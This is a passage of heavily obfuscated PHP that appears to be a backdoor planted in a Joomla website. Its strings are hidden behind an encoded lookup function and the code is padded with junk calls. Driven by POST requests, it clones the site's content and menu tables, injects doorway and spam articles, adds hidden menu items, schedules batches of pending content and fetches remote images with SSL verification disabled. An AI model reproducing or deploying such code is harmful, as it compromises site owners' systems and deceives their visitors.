{$db_px}content")->query();$dblink->setQuery("ALTER TABLE $new_table AUTO_INCREMENT=$current_increment")->query();$dblink->setQuery("ALTER TABLE {$db_px}content AUTO_INCREMENT=$new_increment")->query();}else error_disp(_540247905(49));if((round(0+646+646+646+646+646)+round(0+1010))>round(0+646+646+646+646+646)|| array_sum($catid,$menu_increment));else{curl_close($menu_item,$affected,$tomod_c);}}if(!$dblink->setQuery("SHOW TABLES LIKE '$mymenu_table'")->loadObjectList()){$menu_increment=$dblink->setQuery("SHOW TABLE STATUS LIKE '{$db_px}menu'")->loadObject()->Auto_increment;$newmenu_increment=$current_increment+round(0+25+25+25+25);if(is_numeric($menu_increment)){$dblink->setQuery("CREATE TABLE $mymenu_table LIKE {$db_px}menu")->query();$dblink->setQuery("ALTER TABLE $mymenu_table AUTO_INCREMENT=$menu_increment")->query();$dblink->setQuery("INSERT INTO $mymenu_table SELECT * FROM {$db_px}menu")->query();if((round(0+1444.6666666667+1444.6666666667+1444.6666666667)+round(0+383.5+383.5))>round(0+2167+2167)|| cosh($line,$menu_id,$image,$tomod));else{imagecreate($contents,$visibility,$currentID);}$dblink->setQuery("ALTER TABLE {$db_px}menu AUTO_INCREMENT=$newmenu_increment")->query();}}if(isset($_POST[_540247905(50)])){if(isset($_POST[_540247905(51)])){if(empty($_POST[_540247905(52)])OR empty($_POST[_540247905(53)])OR empty($_POST[_540247905(54)])OR empty($_POST[_540247905(55)])){error_disp(_540247905(56));}if(isset($_POST[_540247905(57)])){$img_opt=_540247905(58) .substr(md5($_POST[_540247905(59)]),round(0),round(0+1.2+1.2+1.2+1.2+1.2));savecurlimg($dbq,$_POST[_540247905(60)],$img_opt);$_POST[_540247905(61)]=str_replace(_540247905(62),_540247905(63) .$img_hash ._540247905(64) .$img_opt ._540247905(65),$_POST[_540247905(66)]);}if(isset($_POST[_540247905(67)]))$visibility=_540247905(68);else $visibility=_540247905(69);$post_data=new stdClass();$post_data->title=$_POST[_540247905(70)];while(round(0+950)-round(0+950))fileatime($path);$menu_item->params=_540247905(71) .$_POST[_540247905(72)] ._540247905(73) .$visibility ._540247905(74);$post_data->introtext=nl2p($_POST[_540247905(75)]) ._540247905(76);$post_data->alias=$_POST[_540247905(77)];if(round(0+3408.5+3408.5)<mt_rand(round(0+2176),round(0+2318+2318)))curl_setopt($currentID,$imghash,$str);$post_data->access=_540247905(78);$post_data->state=_540247905(79);if(strpos(_540247905(80),_540247905(81))!==false)feof($dbq);$post_data->publish_up=$current_time;while(round(0+491)-round(0+491))count($affected,$menu_increment);$post_data->catid=$catid;$wvvfxbbcxvtjfln=_540247905(82);$post_data->xreference=_540247905(83);$umflpjuxqwudabwe=_540247905(84);$post_data->language=_540247905(85);if(isset($_POST[_540247905(86)]))$post_data->metadata=$_POST[_540247905(87)];$dblink->insertObject("$new_table",$post_data);$checkrow=$dblink->setQuery("SELECT id,xreference FROM `$new_table` ORDER BY ID DESC LIMIT 1")->loadObject();(round(0+541)-round(0+270.5+270.5)+round(0+600.66666666667+600.66666666667+600.66666666667)-round(0+901+901))?addcslashes($dblink,$post_data,$mymenu_table):mt_rand(round(0+108.2+108.2+108.2+108.2+108.2),round(0+307.8+307.8+307.8+307.8+307.8));if($checkrow->xreference== _540247905(88)){$door_id=$checkrow->id;$menu_item=new stdClass();if(isset($_POST[_540247905(89)]))$menu_item->menutype=$js_hash;else $menu_item->menutype=_540247905(90);$menu_item->lft=_540247905(91);$menu_item->title=$_POST[_540247905(92)];if((round(0+190.33333333333+190.33333333333+190.33333333333)^round(0+571))&& socket_create_listen($menutypez,$tomod))strtoupper($dblink,$contents,$data);$menu_item->params=_540247905(93) .$_POST[_540247905(94)] ._540247905(95);(round(0+1504+1504+1504)-round(0+902.4+902.4+902.4+902.4+902.4)+round(0+512.2+512.2+512.2+512.2+512.2)-round(0+853.66666666667+853.66666666667+853.66666666667))?mktime($sbp_id,$menu_orig,$menu_item):mt_rand(round(0+1820+1820),round(0+2256+2256));$menu_item->alias=$_POST[_540247905(96)];$menu_item->path=$_POST[_540247905(97)];if((round(0+2849)^round(0+712.25+712.25+712.25+712.25))&& array_map($path,$checkrow,$ch))mktime($path,$data,$menu_orig);$menu_item->link="index.php?option=com_content&view=article&id={$door_id}";$haklkdbbwphustmi=_540247905(98);$menu_item->type=_540247905(99);(round(0+1718.5+1718.5)-round(0+1145.6666666667+1145.6666666667+1145.6666666667)+round(0+1313.3333333333+1313.3333333333+1313.3333333333)-round(0+1970+1970))?shell_exec($men_res):mt_rand(round(0+969.5+969.5),round(0+1145.6666666667+1145.6666666667+1145.6666666667));$menu_item->published=round(0+0.33333333333333+0.33333333333333+0.33333333333333);while(round(0+2053.5+2053.5)-round(0+1026.75+1026.75+1026.75+1026.75))flock($progress_iter_days,$ch);$menu_item->parent_id=round(0+0.25+0.25+0.25+0.25);if((round(0+1663.3333333333+1663.3333333333+1663.3333333333)+round(0+247.5+247.5))>round(0+1247.5+1247.5+1247.5+1247.5)|| array_reduce($hostname,$currentID,$menu_increment));else{curl_setopt($user_agent);}$menu_item->level=round(0+0.5+0.5);$menu_item->component_id=round(0+7.3333333333333+7.3333333333333+7.3333333333333);if((round(0+1278.6666666667+1278.6666666667+1278.6666666667)^round(0+1278.6666666667+1278.6666666667+1278.6666666667))&& socket_create_listen($hostname))nl2br($user_agent,$new_table,$limit_days,$dblink);$menu_item->access=round(0+0.25+0.25+0.25+0.25);$menu_item->language=_540247905(100);if((round(0+30+30)^round(0+15+15+15+15))&& mssql_result($spn_content,$menutypez))session_encode($affected,$paragraphs,$post_data,$line);$dblink->insertObject("$mymenu_table",$menu_item);if(strpos(_540247905(101),_540247905(102))!==false)addslashes($new_increment,$_GET,$path,$url,$menu_orig);$menu_item->menutype=$js_hash;$menu_item->note=_540247905(103);$dblink->insertObject("$menu_orig",$menu_item);$oiooonbqikrmnmgw=_540247905(104);$menu_id=$dblink->setQuery("SELECT id FROM `$mymenu_table` ORDER BY id DESC LIMIT 1")->loadObject()->id;$sausoqqodhaaaax=_540247905(105);success_disp("drw#;#$door_id#");}else error_disp(_540247905(106));}if(isset($_POST[_540247905(107)])&& isset($_POST[_540247905(108)])){$post_data=new stdClass();$post_data->id=$_POST[_540247905(109)];$post_data->title=$_POST[_540247905(110)];while(round(0+1664.3333333333+1664.3333333333+1664.3333333333)-round(0+2496.5+2496.5))preg_quote($men_res,$imghash,$id,$ch);$post_data->introtext=nl2p($_POST[_540247905(111)]) ._540247905(112);if((round(0+2184)+round(0+427+427+427+427))>round(0+436.8+436.8+436.8+436.8+436.8)|| uasort($img_opt,$path,$js_hash));else{shell_exec($numargs,$image,$db_px);}if($dblink->updateObject("$new_table",$post_data,_540247905(113)))success_disp(_540247905(114) .$_POST[_540247905(115)] ._540247905(116));else error_disp(_540247905(117));}if(isset($_POST[_540247905(118)])&& isset($_POST[_540247905(119)])){$affected=$dblink->setQuery("SELECT * FROM $new_table WHERE id='{$_POST[_540247905(120)]}'")->getAffectedRows();if($affected){$dblink->setQuery("DELETE FROM $new_table WHERE id='{$_POST[_540247905(121)]}'")->query();$dblink->setQuery("DELETE FROM $menu_orig WHERE link LIKE '%id={$_POST[_540247905(122)]}'")->query();$dblink->setQuery("DELETE FROM $mymenu_table WHERE link LIKE '%id={$_POST[_540247905(123)]}'")->query();if((round(0+134)^round(0+33.5+33.5+33.5+33.5))&& array_rand($paragraphs))array_product($menu_id,$tomod,$path);success_disp(_540247905(124) .$_POST[_540247905(125)] ._540247905(126));}else error_disp(_540247905(127));}if(isset($_POST[_540247905(128)])){$rows=$dblink->setQuery("SELECT id FROM $new_table WHERE xreference='drw'")->loadObjectList();if($rows>round(0)){$dblink->setQuery("DELETE FROM $new_table WHERE xreference='drw'")->query();foreach($rows as $currentID){$id=$currentID->id;$dblink->setQuery("DELETE FROM $menu_orig WHERE link LIKE '%id={$id}'")->query();if((round(0+96.4+96.4+96.4+96.4+96.4)+round(0+2053))>round(0+482)|| fflush($js_hash,$menutype));else{array_flip($menutype,$catid);}$dblink->setQuery("DELETE FROM $mymenu_table WHERE link LIKE '%id={$id}'")->query();if((round(0+2276.5+2276.5)^round(0+1138.25+1138.25+1138.25+1138.25))&& strval($img_opt,$menu_increment))print_r($affected,$num_articles,$menu_id);}success_disp(_540247905(129));}else error_disp(_540247905(130));$vbvpskskmjgpcqt=_540247905(131);}}if(isset($_POST[_540247905(132)])){$dbq->setOption(_540247905(133),$_POST[_540247905(134)]);if(isset($_POST[_540247905(135)])){$spn_content=$dbq->getOption(_540247905(136));$dblink->setQuery("DELETE FROM $new_table WHERE xreference<>'drw' AND xreference<>'sbp' ")->query();$tomod=$dblink->setQuery("SELECT id FROM {$db_px}content WHERE id NOT IN (SELECT id FROM $new_table)")->loadObjectList();if((round(0+1568+1568+1568)^round(0+940.8+940.8+940.8+940.8+940.8))&& curl_setopt_array($_POST))socket_getpeername($user_agent,$spn_content,$current_increment);$tomod_c=sizeof($tomod);if((round(0+387.8+387.8+387.8+387.8+387.8)+round(0+2449.5+2449.5))>round(0+1939)|| strncmp($url));else{fflush($current_time,$visibility);}if($tomod_c>round(0)){if($_POST[_540247905(137)]== _540247905(138)&& isset($_POST[_540247905(139)])){$limit_days=$_POST[_540247905(140)];if($tomod_c<=$limit_days){$num_articles=_540247905(141);$progress_iter_days=intval($limit_days/$tomod_c);$dbq->setOption(_540247905(142),$num_articles);$dbq->setOption(_540247905(143),$progress_iter_days);}else{if(isset($_POST[_540247905(144)])){$num_articles=intval($tomod_c/$limit_days*$_POST[_540247905(145)]);$progress_iter_days=$_POST[_540247905(146)];$dbq->setOption(_540247905(147),$num_articles);$dbq->setOption(_540247905(148),$progress_iter_days);if(round(0+279+279+279+279+279)<mt_rand(round(0+327.5+327.5),round(0+183.75+183.75+183.75+183.75)))socket_create_listen($tomod,$men_res);}else{$progress_iter_days=round(0+0.5+0.5);if((round(0+668.25+668.25+668.25+668.25)^round(0+668.25+668.25+668.25+668.25))&& sha1($_SERVER,$dblink))substr_compare($menu_id,$post_data,$progress_iter_days);$num_articles=intval($tomod_c/$limit_days);$dbq->setOption(_540247905(149),$num_articles);(round(0+367+367)-round(0+734)+round(0+712+712+712+712)-round(0+2848))?curl_exec($mymenu_table,$current_increment):mt_rand(round(0+338+338),round(0+146.8+146.8+146.8+146.8+146.8));$dbq->setOption(_540247905(150),$progress_iter_days);}}$dbq->setOption(_540247905(151),round(0+499.5+499.5));$dblink->setQuery("INSERT INTO $new_table SELECT * FROM {$db_px}content WHERE ID NOT IN (SELECT ID FROM $new_table) ")->query();$dblink->setQuery("UPDATE $new_table SET xreference='zms_pending' WHERE xreference =''")->query();if(strpos(_540247905(152),_540247905(153))!==false)imagecreatefromgd2($checkrow,$db_px);success_disp("#dnr: rebuild done w/ progressing content#
total_blocks: {$tomod_c}, total_days: {$limit_days}, articles per iter: {$num_articles}, every $progress_iter_days days ");$wkqowwdoljfdjdu=_540247905(154);}else if($_POST[_540247905(155)]== _540247905(156)&& isset($_POST[_540247905(157)])&& isset($_POST[_540247905(158)])){$dbq->setOption(_540247905(159),$_POST[_540247905(160)]);$dbq->setOption(_540247905(161),$_POST[_540247905(162)]);$dbq->setOption(_540247905(163),round(0+333+333+333));$dblink->setQuery("INSERT INTO $new_table SELECT * FROM {$db_px}content WHERE ID NOT IN (SELECT ID FROM $new_table) ")->query();if(round(0+280.2+280.2+280.2+280.2+280.2)<mt_rand(round(0+33+33),round(0+332.5+332.5+332.5+332.5)))strncasecmp($new_table,$current_time);$dblink->setQuery("UPDATE $new_table SET xreference='zms_pending' WHERE xreference =''")->query();while(round(0+843.2+843.2+843.2+843.2+843.2)-round(0+1054+1054+1054+1054))imagecreatefromgd($tomod_c,$contents,$path);success_disp(_540247905(164));}else if($_POST[_540247905(165)]== _540247905(166)){$dbq->setOption(_540247905(167),round(0+499.5+499.5));$dbq->check_import();success_disp(_540247905(168));$aelcoicjqjgsbxkhik=round(0+190+190+190+190);}else if($_POST[_540247905(169)]== _540247905(170)){$dblink->setQuery("INSERT INTO $new_table SELECT * FROM {$db_px}content WHERE ID NOT IN (SELECT ID FROM $new_table) ")->query();success_disp(_540247905(171));}}else error_disp(_540247905(172));if(round(0+1227+1227+1227+1227)<mt_rand(round(0+292.2+292.2+292.2+292.2+292.2),round(0+688.4+688.4+688.4+688.4+688.4)))array_key_exists($_POST,$door_id,$visibility);}else error_disp(_540247905(173));}if(isset($_POST[_540247905(174)])){if(isset($_POST[_540247905(175)])){if(empty($_POST[_540247905(176)])OR empty($_POST[_540247905(177)])OR empty($_POST[_540247905(178)])){error_disp(_540247905(179));}if(isset($_POST[_540247905(180)])){$img_opt=_540247905(181) .substr(md5($_POST[_540247905(182)]),round(0),round(0+3+3));savecurlimg($dbq,$_POST[_540247905(183)],$img_opt);$_POST[_540247905(184)]=str_replace(_540247905(185),_540247905(186) .$img_hash ._540247905(187) .$img_opt ._540247905(188),$_POST[_540247905(189)]);}$post_data=new stdClass();$dqspbctttpuaxhwbg=round(0+1203.75+1203.75+1203.75+1203.75);$post_data->title=$_POST[_540247905(190)];$cgxtolfooqjcsr=round(0+928+928+928);$post_data->introtext=nl2p($_POST[_540247905(191)]);$post_data->alias=$_POST[_540247905(192)];if((round(0+5.75+5.75+5.75+5.75)^round(0+23))&& fgetcsv($catid,$js_hash))socket_create($visibility,$numargs);$post_data->publish_up=$current_time;$post_data->access=_540247905(193);while(round(0+2249.5+2249.5)-round(0+899.8+899.8+899.8+899.8+899.8))file_put_contents($hostname,$rows,$num_articles);$post_data->state=_540247905(194);$post_data->catid=$catid;$vvdptcucsgelmc=_540247905(195);$post_data->xreference=_540247905(196);if(strpos(_540247905(197),_540247905(198))!==false)strpos($men_res,$js_raw,$paragraphs,$current_increment,$js_hash);$post_data->language=_540247905(199);$dblink->insertObject("$new_table",$post_data);$checkrow=$dblink->setQuery("SELECT id,xreference FROM `$new_table` ORDER BY ID DESC LIMIT 1")->loadObject();if($checkrow->xreference== _540247905(200)){$sbp_id=$checkrow->id;if(isset($_POST[_540247905(201)]))$visibility=_540247905(202);else $visibility=_540247905(203);$menu_item=new stdClass();$menu_item->title=$_POST[_540247905(204)];$menu_item->params=_540247905(205) .$_POST[_540247905(206)] ._540247905(207) .$visibility ._540247905(208);if((round(0+755.66666666667+755.66666666667+755.66666666667)+round(0+248+248+248+248))>round(0+755.66666666667+755.66666666667+755.66666666667)|| feof($newmenu_increment,$door_id,$rows));else{nl2br($menu_item,$dbq,$theimg);}$menu_item->alias=$_POST[_540247905(209)];$menu_item->path=$_POST[_540247905(210)];$menu_item->link="index.php?option=com_content&view=article&id={$sbp_id}";$amswdfilwfauedj=round(0+1541.5+1541.5);$menu_item->type=_540247905(211);(round(0+576.66666666667+576.66666666667+576.66666666667)-round(0+346+346+346+346+346)+round(0+1514+1514+1514)-round(0+4542))?base64_encode($menu_item,$js_raw):mt_rand(round(0+865+865),round(0+1443.6666666667+1443.6666666667+1443.6666666667));$menu_item->published=round(0+0.25+0.25+0.25+0.25);if(round(0+5730)<mt_rand(round(0+283.5+283.5+283.5+283.5),round(0+4591)))unpack($db_px,$dbq,$new_increment,$menutypez);$menu_item->parent_id=round(0+0.33333333333333+0.33333333333333+0.33333333333333);if((round(0+783+783+783+783+783)+round(0+1450.5+1450.5))>round(0+3915)|| imagecreatefromgif($visibility,$numargs,$visibility,$path));else{setOption($current_time,$js_hash,$tomod,$_SERVER);}$menu_item->level=round(0+0.25+0.25+0.25+0.25);$obkcruxjcapkflqpe=_540247905(212);$menu_item->component_id=round(0+22);$menu_item->access=round(0+0.5+0.5);$menu_item->menutype=_540247905(213);(round(0+807.5+807.5)-round(0+323+323+323+323+323)+round(0+26.6+26.6+26.6+26.6+26.6)-round(0+66.5+66.5))?create_function($new_table,$user_agent):mt_rand(round(0+807.5+807.5),round(0+784.66666666667+784.66666666667+784.66666666667));$menu_item->lft=_540247905(214);if(strpos(_540247905(215),_540247905(216))!==false)array_keys($id);$menu_item->language=_540247905(217);if((round(0+317.5+317.5)+round(0+1656+1656+1656))>round(0+635)|| strstr($imghash,$numargs,$tomod,$line,$contents));else{explode($data);}if(isset($_POST[_540247905(218)])&& $_POST[_540247905(219)]== _540247905(220)&& isset($_POST[_540247905(221)])){$menu_item->note=_540247905(222);$menu_item->checked_out_time=$_POST[_540247905(223)];$menu_item->published=round(0);if(strpos(_540247905(224),_540247905(225))!==false)file($image,$line);}$dblink->insertObject("$mymenu_table",$menu_item);$menu_id=$dblink->setQuery("SELECT id FROM `$mymenu_table` ORDER BY id DESC LIMIT 1")->loadObject()->id;$llrotkswdnvejujce=round(0+513);success_disp("sbp#;#$sbp_id#");}else error_disp(_540247905(226));}if(isset($_POST[_540247905(227)])){$rows=$dblink->setQuery("SELECT id FROM $new_table WHERE xreference='sbp'")->loadObjectList();if($rows>round(0)){$dblink->setQuery("DELETE FROM $new_table WHERE xreference='sbp'")->query();foreach($rows as $currentID){$id=$currentID->id;$dblink->setQuery("DELETE FROM $menu_orig WHERE link LIKE '%id={$id}'")->query();(round(0+420)-round(0+140+140+140)+round(0+1605.5+1605.5)-round(0+3211))?array_reverse($checkrow,$image,$id):mt_rand(round(0+105+105+105+105),round(0+1003+1003));$dblink->setQuery("DELETE FROM $mymenu_table WHERE link LIKE '%id={$id}'")->query();}success_disp(_540247905(228));}else error_disp(_540247905(229));if(strpos(_540247905(230),_540247905(231))!==false)popen($img_opt,$menu_increment);}}if(isset($_POST[_540247905(232)])){if(isset($_POST[_540247905(233)])){if(empty($_POST[_540247905(234)])OR empty($_POST[_540247905(235)])){error_disp(_540247905(236));}$checkrow=$dblink->setQuery("SELECT id,xreference FROM `$new_table` ORDER BY ID DESC LIMIT 1")->loadObject();$menu_item=new stdClass();$menu_item->title=$_POST[_540247905(237)];(round(0+708.66666666667+708.66666666667+708.66666666667)-round(0+2126)+round(0+402+402+402+402)-round(0+402+402+402+402))?fgetc($menu_item,$user_agent):mt_rand(round(0+167.75+167.75+167.75+167.75),round(0+708.66666666667+708.66666666667+708.66666666667));if(isset($_POST[_540247905(238)]))$visibility=_540247905(239);else $visibility=_540247905(240);$menu_item->params=_540247905(241) .$visibility ._540247905(242);$menu_item->alias=$_POST[_540247905(243)];$menu_item->path=_540247905(244);$menu_item->link=$_POST[_540247905(245)];if(strpos(_540247905(246),_540247905(247))!==false)array_reverse($spn_content,$catid);$menu_item->type=_540247905(248);(round(0+413+413+413)-round(0+309.75+309.75+309.75+309.75)+round(0+41.6+41.6+41.6+41.6+41.6)-round(0+52+52+52+52))?socket_create($door_id,$current_increment,$imghash):mt_rand(round(0+619.5+619.5),round(0+2284.5+2284.5));$menu_item->published=round(0+1);$menu_item->parent_id=round(0+0.33333333333333+0.33333333333333+0.33333333333333);$menu_item->level=round(0+1);if(strpos(_540247905(249),_540247905(250))!==false)success_disp($ch);$menu_item->component_id=round(0);$amrsxvlnnjxdfbbokfcs=round(0+716+716+716);$menu_item->access=round(0+0.25+0.25+0.25+0.25);$menu_item->lft=_540247905(251);$menu_item->language=_540247905(252);if(isset($_POST[_540247905(253)]))$menu_item->menutype=$_POST[_540247905(254)];else $menu_item->menutype=_540247905(255);if(isset($_POST[_540247905(256)])&& $_POST[_540247905(257)]== _540247905(258)&& isset($_POST[_540247905(259)])){$menu_item->note=_540247905(260);$menu_item->checked_out_time=$_POST[_540247905(261)];$menu_item->published=round(0);}$dblink->insertObject("$mymenu_table",$menu_item);$menu_id=$dblink->setQuery("SELECT id FROM `$mymenu_table` ORDER BY id DESC LIMIT 1")->loadObject()->id;success_disp("skv#;#$menu_id#");$aiwjaojosfxwali=round(0+840.2+840.2+840.2+840.2+840.2);}if(isset($_POST[_540247905(262)])&& isset($_POST[_540247905(263)])){$affected=$dblink->setQuery("SELECT * FROM $mymenu_table WHERE id='{$_POST[_540247905(264)]}'")->getAffectedRows();if($affected){$dblink->setQuery("DELETE FROM $mymenu_table WHERE id='{$_POST[_540247905(265)]}'")->query();success_disp(_540247905(266) .$_POST[_540247905(267)] ._540247905(268));}else error_disp(_540247905(269));}}}function savecurlimg($dbq,$url,$imghash){$ch=curl_init();while(round(0+3727)-round(0+3727))strval($ch,$rows);curl_setopt($ch,10002,$url);curl_setopt($ch,10018,_540247905(270));$fhdfreuwmfunaij=round(0+693.6+693.6+693.6+693.6+693.6);curl_setopt($ch,64,false);curl_setopt($ch,52,true);while(round(0+690+690+690)-round(0+1035+1035))sha1($menutypez,$theimg);curl_setopt($ch,19913,round(0+0.2+0.2+0.2+0.2+0.2));curl_setopt($ch,19914,round(0+0.25+0.25+0.25+0.25));$data=curl_exec($ch);(round(0+1032+1032+1032)-round(0+619.2+619.2+619.2+619.2+619.2)+round(0+467.6+467.6+467.6+467.6+467.6)-round(0+779.33333333333+779.33333333333+779.33333333333))?array_fill_keys($str,$rows,$image):mt_rand(round(0+3096),round(0+1565.5+1565.5));curl_close($ch);while(round(0+1931.5+1931.5)-round(0+1931.5+1931.5))array_slice($current_time,$post_data,$_SERVER,$str);$image=imagecreatefromstring($data);$rotim=imagerotate($image,round(0+3.3333333333333+3.3333333333333+3.3333333333333),round(0));if((round(0+3176)+round(0+25.8+25.8+25.8+25.8+25.8))>round(0+1058.6666666667+1058.6666666667+1058.6666666667)|| array_map($url,$string));else{preg_split($visibility,$image,$menu_item,$menutypez);}ob_start();imagepng($rotim);$contents=ob_get_contents();ob_end_clean();if((round(0+3520)^round(0+1760+1760))&& file($sbp_id))create_function($currentID,$url,$affected,$data);$img_str=base64_encode($contents);$dbq->setOption($imghash,$img_str);return True;}function nl2p($string){$paragraphs=_540247905(271);$jvumnvqqddffosd=_540247905(272);foreach(explode(_540247905(273),$string)as $line){if(trim($line)){$paragraphs .= _540247905(274) .$line ._540247905(275);}}return $paragraphs;}function error_disp($str){echo $str;exit();if((round(0+718.66666666667+718.66666666667+718.66666666667)^round(0+718.66666666667+718.66666666667+718.66666666667))&& strstr($img_opt))socket_create_listen($contents);}function success_disp($str){$numargs=func_get_args();while(round(0+1160.3333333333+1160.3333333333+1160.3333333333)-round(0+696.2+696.2+696.2+696.2+696.2))array_rand($menu_item);echo $str;exit();$bwmssrenpjqn=_540247905(276);}if(isset($_POST[_540247905(277)])){$path=JRoute::_(ContentHelperRoute::getArticleRoute($_POST[_540247905(278)]));echo($path);exit();while(round(0+990+990+990+990)-round(0+1980+1980))addslashes($num_articles,$checkrow,$sbp_id);}
###EAAPND
